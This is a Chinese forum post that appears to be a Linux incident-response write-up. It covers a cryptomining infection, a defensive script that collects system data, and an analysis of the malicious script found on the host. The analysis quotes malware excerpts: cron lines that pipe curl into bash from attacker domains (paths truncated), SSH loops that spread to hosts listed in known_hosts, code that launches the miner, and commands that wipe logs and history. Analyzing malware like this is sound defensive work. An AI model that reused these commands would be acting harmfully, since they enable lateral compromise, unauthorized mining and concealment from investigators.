嵌入式开发交流网论坛
标题:
Linux应急响应笔记
[打印本页]
作者:
新天地1688
时间:
2021-1-8 18:22
标题:
Linux应急响应笔记
背景前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。
PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。
应急操作笔记查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。
自动化信息收集
我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。
#!/bin/bashfunctioninitial{echo"Doing initial"mkdir /tmp/GatherInfochmod +x ./chkrootkitchmod +x ./busybox}functionchkrootkit_info{echo"Doing chkrootkit"./chkrootkit >/tmp/GatherInfo/chkrootkit.log2>&1}functionnetwork_info{echo"Gathering network info"netstat -tulnp >/tmp/GatherInfo/netstat_tulnp.log2>&1netstat -anp >/tmp/GatherInfo/netstat_anp.log2>&1}functionprocess_info{echo"Gathering process info"ps aux >/tmp/GatherInfo/ps_aux.log2>&1ps auxef >/tmp/GatherInfo/ps_auxef.log2>&1top -n1>/tmp/GatherInfo/top_n1.log2>&1}functioninit_info{echo"Gathering init info"chkconfig --list >/tmp/GatherInfo/chkconfig_list.log2>&1ls -alt /etc/init* >/tmp/GatherInfo/ls_alt_etc_init.log2>&1}functioncron_info{echo"Gathering cron info"cat /etc/crontab >/tmp/GatherInfo/crontab.log2>&1cat /etc/anacrontab >/tmp/GatherInfo/anacrontab.log2>&1crontab -l >/tmp/GatherInfo/crontab_l.log2>&1cd /etc/cron.d/cat * >/tmp/GatherInfo/etc_cron.d.log2>&1cd /etc/cron.daily/cat * >/tmp/GatherInfo/etc_daily.log2>&1cd /etc/cron.hourly/cat * >/tmp/GatherInfo/etc_hourly.log2>&1cd /etc/cron.monthly/cat * >/tmp/GatherInfo/etc_monthly.log2>&1cd /etc/cron.weekly/cat * >/tmp/GatherInfo/etc_weekly.log2>&1cd /var/spool/cron/cat * >/tmp/GatherInfo/var_spool_cron.log2>&1cd /var/spool/anacron/cat * >/tmp/GatherInfo/var_spool_anacron.log2>&1}functionother_info{echo"Gathering other info"cat /etc/passwd | grep -v nologin >/tmp/GatherInfo/passwd.log2>&1ls -alt /tmp >/tmp/GatherInfo/tmp.log2>&1ls -alt /var/tmp >/tmp/GatherInfo/var_tmp.log2>&1ls -alt /dev/shm >/tmp/GatherInfo/dev_shm.log2>&1echo $LD_PRELOAD >/tmp/GatherInfo/LD_PRELOAD.log2>&1cat /etc/ld.so.preload >/tmp/GatherInfo/etc_ld.so.preload.log2>&1s -alt /root/.ssh >/tmp/GatherInfo/ls_alt_root_.ssh.log2>&1cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1for user in /home/*doif test -d $user;thencat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1fidone}initialchkrootkit_infonetwork_infoprocess_infoinit_infocron_infoother_infocd /tmptar -zcvf GatherInfo.tar.gz GatherInfo
信息收集结果分析
查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查
应急响应检查表
[attach]56759[/attach][attach]56760[/attach]
在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务
59* ** *root (curl -fsSL http://t.amynx.com/ ......28* ** *root (curl -fsSL http://t.jdjdcjq.top/ ......13* ** *root ps aux|grep lplp.ackng.com ......我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么
恶意脚本分析
恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码
#/bin/bashprocesses{killme {killall -9 chron-34e2fg;ps wx|awk'/34e|r\/v3|moy5|defunct/'| awk'{print $1}'| xargskill-9 & > /dev/null &}killa {what=$1;ps auxw|awk"/$what/"|awk'!/awk/'| awk'{print $2}'|xargskill-9&>/dev/null&}killa 34e2fgkillmekillall \.Historyskillall \.sshdkillall neptunekillall xm64killall xm32killall xmrigkillall \.xmrigkillall suppoieup# sshdps ax | grep sshd | grep -v grep | awk'{print $1}'> /tmp/ssdpidwhilereadsshdpiddoif[ $(echo$(ps -p$sshdpid-o %cpu | grep -v \%CPU) | sed -e's/\.[0-9]*//g') -ge 60 ]thenkill$sshdpidfidone< /tmp/ssdpidrm -f /tmp/ssdpid# Removing miners by known path IOCfiles{ulimit-n 65535rm -rf /var/log/syslogchattr -iua /tmp/chattr -iua /var/tmp/chattr -R -i /var/spool/cronchattr -i /etc/crontabufwdisableiptables -Fecho"nope">/tmp/log_rotsudo sysctl kernel.nmi_watchdog=0echo'0'>/proc/sys/kernel/nmi_watchdogecho'kernel.nmi_watchdog=0'>>/etc/sysctl.confrm /tmp/.cronrm /tmp/.mainrm /tmp/.yam* -rfrm -f /tmp/irq# Killing and blocking miners by network related IOCnetwork{# Kill by known ports/IPsnetstat -anp | grep 69.28.55.86:443 |awk'{print $7}'| awk -F'[/]''{print $1}'| xargskill-9netstat -anp | grep 185.71.65.238 |awk'{print $7}'| awk -F'[/]''{print $1}'| xargskill-9filesprocessesnetworkecho"DONE"接下来是下载恶意二进制程序以及ssh横向传播
代码片段1if[ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ];thenforhin$(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"/root/.ssh/known_hosts);dossh -oBatchMode=yes -oConnectTimeout=5-oStrictHostKeyChecking=no $h'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......fi代码片段2for file in /home/*doif test -d $file; thenif [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; thenfor h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSLhttp://t.amynx.com/......|bash >/dev/null 2>&1 &' & donefifidone代码片段3foruserin$userlist;doforhostin$hostlist;doforkeyin$keylist;doforsshpin$sshports;doi=$((i+1))if[ "${i}" -eq "20" ];thensleep 20ps wx |grep"ssh -o"| awk '{print $1}' |xargs kill -9&>/dev/null&i=0fi#Wait 20 seconds after every 20 attempts and clean up hanging processeschmod +r $keychmod400$keyecho"$user@$host $key $sshp"ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5-i $key $user@$host -p$sshp"export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"donedonedonedone上面这三段代码是通过ssh的证书登录方式横向感染传播。
if[ ! -d"/.Xll"];thenmkdir/.Xllficd /.Xllif[ ! -f"./xr"];thenuname -a|grepx86_64 && (curl -fsSL d.ackng.com/ ......fiuname -a|grepx86_64 && ps aux|greplplp.ackng.com |grep-vgrep|| ./xr -o lplp.ackng.com:444--opencl --donate-level=1--nicehash -B --http-host=0.0.0.0--http-port=65529上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。
最后是清理痕迹
history-cecho0>/var/spool/mail/rootecho0>/var/log/wtmpecho0>/var/log/secureecho0>/var/log/cronecho> /root/.bash_history
清理与恢复
根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录
总结与反思
病毒标识
目录及文件 /.Xll 和 /.Xll/xr
进程表示 ps aux | grep lplp.ackng.com
两个域 t.amynx.com, t.jdjdcjq.top
挖矿威胁小于勒索
每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。
无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。
防护建议
一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。
最后,我把上述用到的脚本和checklist放在http://github.com/kafroc/emergency-response-toolbox 中,有需要的读者可下载使用,欢迎任何的反馈意见。
[attach]56761[/attach]
欢迎光临 嵌入式开发交流网论坛 (http://www.dianzixuexi.com/bbs/)
Powered by Discuz! X3.2